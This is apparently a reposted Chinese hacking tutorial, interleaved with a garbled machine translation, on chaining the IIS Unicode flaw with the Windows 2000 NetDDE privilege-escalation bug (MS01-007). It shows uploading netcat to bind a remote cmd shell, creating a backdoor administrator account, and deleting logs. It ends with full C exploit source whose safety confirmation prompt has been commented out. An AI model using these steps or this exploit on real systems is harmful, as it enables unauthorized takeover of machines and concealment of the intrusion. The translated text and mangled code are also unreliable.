by coolweis by coolweis
前言 Foreword
本文的目的不是要教你去黑人家的机器,只是给大家一个思路。 The purpose of this paper is not to teach you to black people's machines, just to give you an idea. 请不要做违反法律的事情。 Please do not do something against the law. 任何利用本方法破坏别人机器等事情本人及本人所在的公司均不负责。 Any use of this method to destroy others and other things that I and my machine where the companies are not responsible.
unicode漏洞可谓尽人皆知(偏偏许多系统管理员不知道,呵呵),但是unicode只能拿到guest权限,虽然还有其他办法获得管理员权限,但是比较复杂。 unicode vulnerability can be described as well-known (but why many system administrators do not know, huh, huh), but can only get unicode guest privileges, although there are other ways to obtain administrator privileges, but more complicated.
2001年2月5日,atstake.com上面公布了一个windows2000的net dde消息权限提升漏洞。 February 5, 2001, atstake.com announced a windows2000 above the net dde messages privilege elevation vulnerability. 利用这个漏洞可以获得管理员权限,完全控制机器。 You can use this vulnerability to obtain administrator privileges, complete control of the machine. 下面是nsfocus.com上面的关于这个漏洞的详细描述。 Here is nsfocus.com above detailed description of this vulnerability.
发布日期: 2001-2-7 Release Date: 2001-2-7
更新日期: 2001-2-7 Date: 2001-2-7
受影响的系统: The affected system:
Microsoft Windows 2000 Professional Microsoft Windows 2000 Professional
Microsoft Windows 2000 Server Microsoft Windows 2000 Server
Microsoft Windows 2000 Advanced Server Microsoft Windows 2000 Advanced Server
描述: Description:
网络动态数据交换(Network Dynamic Data Exchange)是一种在不同的Windows机器上的应用程序之间动态共享数据的技术。 Network Dynamic Data Exchange (Network Dynamic Data Exchange) is a Windows machine in different applications to share data between the dynamic technology. 这种共享是通过名为受信任共享(trusted shares)的通信通道来完成的,受信任共享由网络DDE代理服务来管理。 This sharing is called trusted by sharing (trusted shares) of the communication channel to complete, trusted sharing service by the Network DDE Agent to manage. 本地机器上的进程可以向网络DDE代理发出请求,包括指定针对某个特定的受信任共享应该运行什么应用程序。 Process on the local machine can send a request to the Network DDE Agent, including the designation for a specific share should be trusted to run any application. 但是由于网络DDE代理运行在本地系统用户的安全上下文中并在此安全上下文中处理所有请求,因此攻击者就有机会让网络DDE代理在本地系统用户的安全上下文中执行其指定的代码,从而提升权限并完全控制本地机器。 However, due to Network DDE Agent runs on the user's local system security context and security context in this process all requests, so the attacker will have the opportunity to Network DDE Agent on the local system user's security context of the specified code, so as to enhance access and full control of the local machine.
细节描述如下: Details are described below:
Network DDE DSDM(DDE Share Database Manager)服务负责维护所有活动的网络DDE共享的一个列表并管理NetDDE连接。 Network DDE DSDM (DDE Share Database Manager) service is responsible for all activities to maintain a list of Network DDE share and manage NetDDE connection. 当该服务启动时,在当前登录用户的桌面上将创建一个隐藏的IPC窗口,用来与打开了DDE特性的应用程序进行通信。 When the service starts, the currently logged on user's desktop IPC will create a hidden window to open the DDE features and applications to communicate. 该窗口所处理的消息及其格式未在正式文档中描述。 Messages handled by the window and its format is not described in formal documents.
窗口的名字是“NetDDE Agent”,类名是“NDDEAgent”。 Window name is "NetDDE Agent", class name is "NDDEAgent". 由于窗口是由WINLOGON创建的,窗口过程将运行在WINLOGON的进程空间中,它以SYSTEM的权限来处理消息。 As the window is created by the WINLOGON, the window procedure will run in WINLOGON process space, it is with SYSTEM privileges to process the message. 该窗口所处理的消息之一是“WM_COPYDATA”消息,DDE用该消息将一块内存从一个进程传递给另一个进程。 The window is one of messages being processed "WM_COPYDATA" news, DDE will be a memory with the message passed from one process to another process. 绝大多数窗口间通信通常是由PostMessage( )来完成的,但WM_COPYDATA消息却是由SendMessa Most communication is usually caused by the window PostMessage () to complete, but it is the SendMessa WM_COPYDATA message
ge( )函数来发送的,并由底层的消息子系统(CSRSS)作为一种特殊情况进行处理。 ge () function to send by the underlying messaging subsystem (CSRSS) as a special case for processing.
通过该消息发送给隐藏窗口的结构具有如下格式: By sending the message to hide the window structure has the following format:
4 字节- E1 DD E1 DD (魔数: 0xDDE1DDE1) 4 bytes - E1 DD E1 DD (magic number: 0xDDE1DDE1)
4 字节- 01 00 00 00 (未知: 0x00000001) 4 bytes --01000000 (unknown: 0x00000001)
4 字节- 01 00 00 00 (未知: 0x00000001) 4 bytes --01000000 (unknown: 0x00000001)
8 字节- 05 00 00 09 8 bytes --05000009
00 00 00 01 (DDE Share Mod Id) 00 00 00 01 (DDE Share Mod Id)
4 bytes - CC CC CC CC (未知: 未使用?) 4 bytes - CC CC CC CC (unknown: not used?)
ASCIIZ - "SHARENAME$" (以NULL结尾的串: DDE受信任的共享名) ASCIIZ - "SHARENAME $" (a NULL-terminated string: DDE Trusted Shares name)
ASCIIZ - "cmd.exe" (以NULL结尾的串: DDE服务器启动命令) ASCIIZ - "cmd.exe" (a NULL-terminated string: DDE server start command)
当上述缓冲区传递给窗口过程时,它将首先检查3个魔数(即前12个字节)的值,如果与上述的值不同,则消息处理过程将返回一个错误。 When the buffer is passed to the window procedure, it first checks the magic number 3 (ie the first 12 bytes) of the value, if different from the above values, the message processing procedure returns an error. 否则就取出两个ASCIIZ串并将其转换成Unicode串,然后检查共享名以确保它存在并且是一个受信任的共享。 Otherwise, remove the two ASCIIZ string and convert it to Unicode string, and then check the share name to make sure it exists and is a trusted share.
由于默认情况下在系统中存在几个受信任共享,因此可以对其进行穷举,对每个共享名都尝试运行命令直到找到一个受信任的共享。 As default, the system there are several trusted to share, so you can be exhaustive, for each share name are trying to run the command until you find a trusted share. “DDE Share Mod ID”将和上述结构中的对应的数进行比较,如果相等则将在WINLOGON进程的上下文中执行上述第二个ASCIIZ串所指定的命令,因此将创建一个继承了SYSTEM进程令牌的进程。 "DDE Share Mod ID" and the above-mentioned structure will correspond to the number of comparison, if the same process will be in the context of the implementation of WINLOGON the ASCIIZ string specified by the second order, so will create a process token inherited SYSTEM the process. “DDE Share Mod Id”本应是一个相对随机的8字节数,但实际上却一直是个常数0x0100000009000005。 "DDE Share Mod Id" This should be a relatively random 8 bytes, but in fact it has been a constant 0x0100000009000005.
<* 来源:DilDog (dildog@atstake.com) <* Source: DilDog (dildog@atstake.com)
Microsoft Security Bulletin (MS01-007) Microsoft Security Bulletin (MS01-007)
*> *>
从上面的描述可以看出,我们可以利用这个漏洞进行提升权限。 As can be seen from the above description, we can use this vulnerability to elevate privileges.
根据atstake.com提供的程序,经过试验证实确实可以提升用户权限。 According to the procedure provided atstake.com, after tests confirmed can indeed enhance the user rights. 假设我们编译的文件名为ndde.exe。 Suppose we compile the file named ndde.exe.
我们在命令行下输入ndde.exe net user aaa /add,这样我们就建立了一个用户,用户名为aaa,权限为user。 We are in the command line, enter ndde.exe net user aaa / add, so we created a user, the user name aaa, permissions for the user. 密码为空。 Password is blank. 注意,如果在本地安全策略中指明密码策略的话,就要加上复杂的密码,否则这是不能创建成功的。 Note, if specified in the Local Security Policy password policy, then we would add a complex password, otherwise it can not create success.
接着可以用ndde.exe net localgroup administrators aaa /add将这个账号加入到管理员组中。 Then you can use ndde.exe net localgroup administrators aaa / add this account into the Administrators group. 所有操作必须在本地计算机上登陆。 All operations must be landed on the local computer. 不管你是用user用户登陆还是administrator登陆,要注意的是net dde 和net dde dsdm两个服务要开放的。 Whether you are a user login with the user or administrator login, should be noted that net dde and net dde dsdm two services should be open. 据atstake.com称这两个服务默认是开放的,我没有检查是否为默认开放。 According atstake.com said the two services is open by default, I did not check whether the default open. 据袁哥讲默认识不开的,我也不知道开不开了,懒得再装一个机器试了,就当时开放得吧:) According to Yuan brother do not know about silent open, I do not know does not really open, and too lazy to try reloading a machine, it was open to get it:)
下面我们看看如何利用这个漏洞和unicode漏洞结合获得管理员权限。 Here we look at how to use the combination of vulnerability and gain administrator privileges unicode vulnerability.
如何利用unicode漏洞已经讲的很多了,我就不讲了,下面直入主题——获得管理员权限。 How to use the unicode vulnerability has been talking a lot, I do not speak, following straight into the subject - get administrator privileges.
在上传的文件中要包括nc.exe,ndde.exe。 In the uploaded file to include nc.exe, ndde.exe.
首先用nc.exe在目标机器上开一个端口,假设为999端口。 First on the target machine with nc.exe open a port, the port is assumed to be 999.
http://www.nothisdomain.com/scripts/nc.exe -l -p 999 -t -ec:\winnt\system32\cmd http://www.nothisdomain.com/scripts/nc.exe-l-p 999-t-ec: \ winnt \ system32 \ cmd
.exe . Exe
然后再本机上nc www.nothisdomain.com 999 Then the machine nc www.nothisdomain.com 999
会出现这样的窗口: This window will appear:
C:\Inetpub\scripts>nc www.nothisdomain.com 999 C: \ Inetpub \ scripts> nc www.nothisdomain.com 999
Microsoft Windows 2000 [Version 5.00.2195] Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有1985-1998 Microsoft Corp. (C) Copyright 1985-1998 Microsoft Corp.
C:\Inetpub\scripts> C: \ Inetpub \ scripts>
OK!我们进来了,现在的权限是guest! OK! We came in, and now the permissions are guest! 我们运行net user aaa /add We run the net user aaa / add
可以发现一下错误。 Can be found about the error.
C:\Inetpub\scripts>net user aaa /add C: \ Inetpub \ scripts> net user aaa / add
net user aaa /add net user aaa / add
系统发生5 错误。 System error occurred 5.
拒绝访问。 Access is denied.
C:\Inetpub\scripts> C: \ Inetpub \ scripts>
可见权限不够,好了,我们现在就要提升权限了。 Visible access is not enough, well, we will enhance the permissions.
首先建立一个aaa的账号。 First, a aaa account.
C:\Inetpub\scripts>abc.exe net user aaa /add C: \ Inetpub \ scripts> abc.exe net user aaa / add
abc.exe net user aaa /add abc.exe net user aaa / add
C:\Inetpub\scripts> C: \ Inetpub \ scripts>
好像没什么反应,很快就运行完了,我们看看结果。 If no response, quickly run over, we look at the result.
C:\Inetpub\scripts>net user C: \ Inetpub \ scripts> net user
net user net user
\\WWW 的用户帐户 \ \ WWW user account
aaa ad Administrator aaa ad Administrator
Guest IUSR_KHB01 IWAM_KHB01 Guest IUSR_KHB01 IWAM_KHB01
khb TsInternetUser khb TsInternetUser
命令成功完成。 The command completed successfully.
可以看到已经出现了aaa这个账号了! You can see there have been a aaa this account! ! !
好了我们要成为管理员了! Well, we want to be the administrator of the! ! !
C:\Inetpub\scripts>abc.exe net localgroup administrators aaa /add C: \ Inetpub \ scripts> abc.exe net localgroup administrators aaa / add
abc.exe net localgroup administrators aaa /add abc.exe net localgroup administrators aaa / add
C:\Inetpub\scripts> C: \ Inetpub \ scripts>
我们来看看运行的结果: We take a look at the results of running:
C:\Inetpub\scripts>net localgroup administrators C: \ Inetpub \ scripts> net localgroup administrators
net localgroup administrators net localgroup administrators
别名administrators Alias administrators
注释管理员对计算机/域有不受限制的完全访问权 Notes administrator for the computer / domain has full access to unrestricted
成员 Member
aaa aaa
ad ad
Administrator Administrator
命令成功完成。 The command completed successfully.
我们可以看到aaa这个账号在管理员组了! We can see this account in the Administrators group aaa it! ! ! ! !
我们可以用将Iusr_machine的账号弄到管理员组中去,不过比较容易被发现,到底要怎么做自己看着办吧。 We can get the Iusr_machine account to the Administrators group, but relatively easy to find, in the end how to do figure it out.
我们有了管理员权限就可以为所欲为了! We have administrator privileges to do whatever they want! ! ! ! ! 赶快删你们删不掉的日志吧,呵呵:) Quickly delete the log you can not afford to delete it, huh:)
就写到这里吧,有什么问题可不要找我呀。 Write it on here, what the problem may find me ah.
哦,差点忘了,源程序自己编译去吧,没什么大问题,注意把下面一行注释掉。 Oh, almost forgot, source code and compile it yourself go, no big problem, pay attention to the following line commented out.
if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREG if (MessageBox (NULL, svPrompt, "Confirmation", MB_YESNO | MB_ICONQUESTION | MB_SETFOREG
ROUND)==IDNO) ROUND) == IDNO)
不然会在控制台弹出窗口的,程序运行不下去的:) Otherwise, the console will pop-up window, run do not go on:)
源程序如下,我做了一点点的修改,可能你也要改:) Source code is as follows, I made a little modification, you may have to be changed:)
#include # Include
#include # Include
#include # Include
#include # Include
void NDDEError(UINT err) void NDDEError (UINT err)
{ {
char error[256]; char error [256];
NDdeGetErrorString(err,error,256); NDdeGetErrorString (err, error, 256);
MessageBox(NULL,error,"NetDDE error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND); MessageBox (NULL, error, "NetDDE error", MB_OK | MB_ICONSTOP | MB_SETFOREGROUND);
// exit(err); / / Exit (err);
} }
void *BuildNetDDEPacket(const char *svShareName, const char* svCmdLine, int *pBu void * BuildNetDDEPacket (const char * svShareName, const char * svCmdLine, int * pBu
fLen) fLen)
{ {
// Build NetDDE message / / Build NetDDE message
int cmdlinelen=strlen(svCmdLine); int cmdlinelen = strlen (svCmdLine);
int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1; int funkylen = 0x18 + strlen (svShareName) +1 + cmdlinelen +1;
char *funky=(char *)malloc(funkylen); char * funky = (char *) malloc (funkylen);
if(funky==NULL) { if (funky == NULL) {
MessageBox(NULL,"Out of memory.","Memory error.",MB_OK|MB_SETFOREGROUND| MessageBox (NULL, "Out of memory.", "Memory error.", MB_OK | MB_SETFOREGROUND |
MB_ICONSTOP); MB_ICONSTOP);
return NULL; return NULL;
} }
funky[0x00]=(char)0xE1; funky [0x00] = (char) 0xE1;
funky[0x01]=(char)0xDD; funky [0x01] = (char) 0xDD;
funky[0x02]=(char)0xE1; funky [0x02] = (char) 0xE1;
funky[0x03]=(char)0xDD; // 0xDDE1DDE1 (magic number) funky [0x03] = (char) 0xDD; / / 0xDDE1DDE1 (magic number)
funky[0x04]=(char)0x01; funky [0x04] = (char) 0x01;
funky[0x05]=(char)0x00; funky [0x05] = (char) 0x00;
funky[0x06]=(char)0x00; funky [0x06] = (char) 0x00;
funky[0x07]=(char)0x00; // 0x00000001 (?) funky [0x07] = (char) 0x00; / / 0x00000001 (?)
funky[0x08]=(char)0x01; funky [0x08] = (char) 0x01;
funky[0x09]=(char)0x00; funky [0x09] = (char) 0x00;
funky[0x0A]=(char)0x00; funky [0x0A] = (char) 0x00;
funky[0x0B]=(char)0x00; // 0x00000001 (?) funky [0x0B] = (char) 0x00; / / 0x00000001 (?)
funky[0x0C]=(char)0x05; // ShareModId funky [0x0C] = (char) 0x05; / / ShareModId
funky[0x0D]=(char)0x00; funky [0x0D] = (char) 0x00;
funky[0x0E]=(char)0x00; funky [0x0E] = (char) 0x00;
funky[0x0F]=(char)0x09; funky [0x0F] = (char) 0x09;
funky[0x10]=(char)0x00; funky [0x10] = (char) 0x00;
funky[0x11]=(char)0x00; funky [0x11] = (char) 0x00;
funky[0x12]=(char)0x00; funky [0x12] = (char) 0x00;
funky[0x13]=(char)0x01; funky [0x13] = (char) 0x01;
funky[0x14]=(char)0xCC; // unused (?) funky [0x14] = (char) 0xCC; / / unused (?)
funky[0x15]=(char)0xCC; funky [0x15] = (char) 0xCC;
funky[0x16]=(char)0xCC; funky [0x16] = (char) 0xCC;
funky[0x17]=(char)0xCC; funky [0x17] = (char) 0xCC;
memcpy(funky+0x18,svShareName,strlen(svShareName)+1); // Share name memcpy (funky +0 x18, svShareName, strlen (svShareName) +1); / / Share name
memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1); // Comma memcpy (funky +0 x18 + strlen (svShareName) +1, svCmdLine, cmdlinelen +1); / / Comma
nd line to execute nd line to execute
*pBufLen=funkylen; * PBufLen = funkylen;
return funky; return funky;
} }
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLin int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLin
e,int nCmdShow) e, int nCmdShow)
{ {
// TODO: Place code here. / / TODO: Place code here.
// Check command line / / Check command line
int cmdlinelen; int cmdlinelen;
if(lpCmdLine==NULL || lpCmdLine[0]=='\0') { if (lpCmdLine == NULL | | lpCmdLine [0] == '\ 0') {
MessageBox(NULL,"Syntax is: netddmsg [-s sharename] ","Com MessageBox (NULL, "Syntax is: netddmsg [-s sharename]", "Com
mand line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP); mand line error. ", MB_OK | MB_SETFOREGROUND | MB_ICONSTOP);
return -1; return -1;
} }
cmdlinelen=strlen(lpCmdLine); cmdlinelen = strlen (lpCmdLine);
char *szShare=NULL; char * szShare = NULL;
char *szCmdLine=lpCmdLine; char * szCmdLine = lpCmdLine;
if(strncmp(lpCmdLine,"-s",2)==0) { if (strncmp (lpCmdLine, "-s", 2) == 0) {
szShare=lpCmdLine+2; szShare = lpCmdLine +2;
while ((*szShare)==' ') while ((* szShare) == '')
szShare++; szShare + +;
char *szEnd=strchr(szShare,' '); char * szEnd = strchr (szShare, '');
if(szEnd==NULL) { if (szEnd == NULL) {
MessageBox(NULL,"You must specify a command to run.","Command line e MessageBox (NULL, "You must specify a command to run.", "Command line e
rror.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP); rror. ", MB_OK | MB_SETFOREGROUND | MB_ICONSTOP);
return -1; return -1;
} }
szCmdLine=szEnd+1; szCmdLine = szEnd +1;
*szEnd='\0'; * SzEnd = '\ 0';
} }
// Get NetDDE Window / / Get NetDDE Window
HWND hwnd=FindWindow("NDDEAgnt","NetDDE Agent"); HWND hwnd = FindWindow ("NDDEAgnt", "NetDDE Agent");
if(hwnd==NULL) { if (hwnd == NULL) {
MessageBox(NULL,"Couldn't find NetDDE agent window","Error",MB_OK|MB_ICO MessageBox (NULL, "Couldn't find NetDDE agent window", "Error", MB_OK | MB_ICO
NSTOP|MB_SETFOREGROUND); NSTOP | MB_SETFOREGROUND);
return -1; return -1;
} }
// Get computer name / / Get computer name
DWORD dwSize=256; DWORD dwSize = 256;
char svCompName[256]; char svCompName [256];
GetComputerName(svCompName,&dwSize); GetComputerName (svCompName, & dwSize);
// Get list of shares to try / / Get list of shares to try
char *sharename,*sharenames; char * sharename, * sharenames;
if(szShare==NULL) { if (szShare == NULL) {
// Try all shares / / Try all shares
UINT err; UINT err;
DWORD dwNumShares; DWORD dwNumShares;
// deep check otgpdvt / / Deep check otgpdvt
err=NDdeShareEnum(svCompName,0,NULL,0,&dwNumShares,&dwSize); err = NDdeShareEnum (svCompName, 0, NULL, 0, & dwNumShares, & dwSize);
if(err!=NDDE_NO_ERROR && err!=NDDE_BUF_TOO_SMALL) { if (err! = NDDE_NO_ERROR & & err! = NDDE_BUF_TOO_SMALL) {
NDDEError(err); NDDEError (err);
} }
sharenames=(char *)malloc(dwSize); sharenames = (char *) malloc (dwSize);
err=NDdeShareEnum(svCompName,0,(LPBYTE)sharenames,dwSize,&dwNumShares,&d err = NDdeShareEnum (svCompName, 0, (LPBYTE) sharenames, dwSize, & dwNumShares, & d
wSize); wSize);
if(err!=NDDE_NO_ERROR) { if (err! = NDDE_NO_ERROR) {
NDDEError(err); NDDEError (err);
} }
} else { } Else {
// Try command line share / / Try command line share
sharenames=(char *)malloc(strlen(szShare)+2); sharenames = (char *) malloc (strlen (szShare) +2);
memset(sharenames,'0',strlen(szShare)+2); memset (sharenames, '0 ', strlen (szShare) +2);
strcpy(sharenames,szShare); strcpy (sharenames, szShare);
} }
// Try all shares / / Try all shares
for(sharename=sharenames;(*sharename)!='\0';sharename+=(strlen(sharename)+1) for (sharename = sharenames; (* sharename)! = '\ 0'; sharename + = (strlen (sharename) +1)
) { ) {
// Ask user / / Ask user
if(szShare==NULL) { if (szShare == NULL) {
char svPrompt[256]; char svPrompt [256];
_snprintf(svPrompt,256,"Try command through the '%s'share?",sharenam _snprintf (svPrompt, 256, "Try command through the '% s'share?", sharenam
e); e);
// if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTIO / / If (MessageBox (NULL, svPrompt, "Confirmation", MB_YESNO | MB_ICONQUESTIO
N|MB_SETFOREGROUND)==IDNO) N | MB_SETFOREGROUND) == IDNO)
// continue; / / Continue;
} }
// Get NetDDE packet / / Get NetDDE packet
void *funky; void * funky;
int funkylen; int funkylen;
funky=BuildNetDDEPacket(sharename, szCmdLine, &funkylen); funky = BuildNetDDEPacket (sharename, szCmdLine, & funkylen);
if(funky==NULL) if (funky == NULL)
return -1; return -1;
// Perform CopyData / / Perform CopyData
COPYDATASTRUCT cds; COPYDATASTRUCT cds;
cds.cbData=funkylen; cds.cbData = funkylen;
cds.dwData=0; cds.dwData = 0;
cds.lpData=(PVOID)funky; cds.lpData = (PVOID) funky;
SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds); SendMessage (hwnd, WM_COPYDATA, (WPARAM) hwnd, (LPARAM) & cds);
// Free memory / / Free memory
free(funky); free (funky);
} }
// Free memory / / Free memory
free(sharenames); free (sharenames);
return 0; return 0;
} }
Tidak ada komentar:
Posting Komentar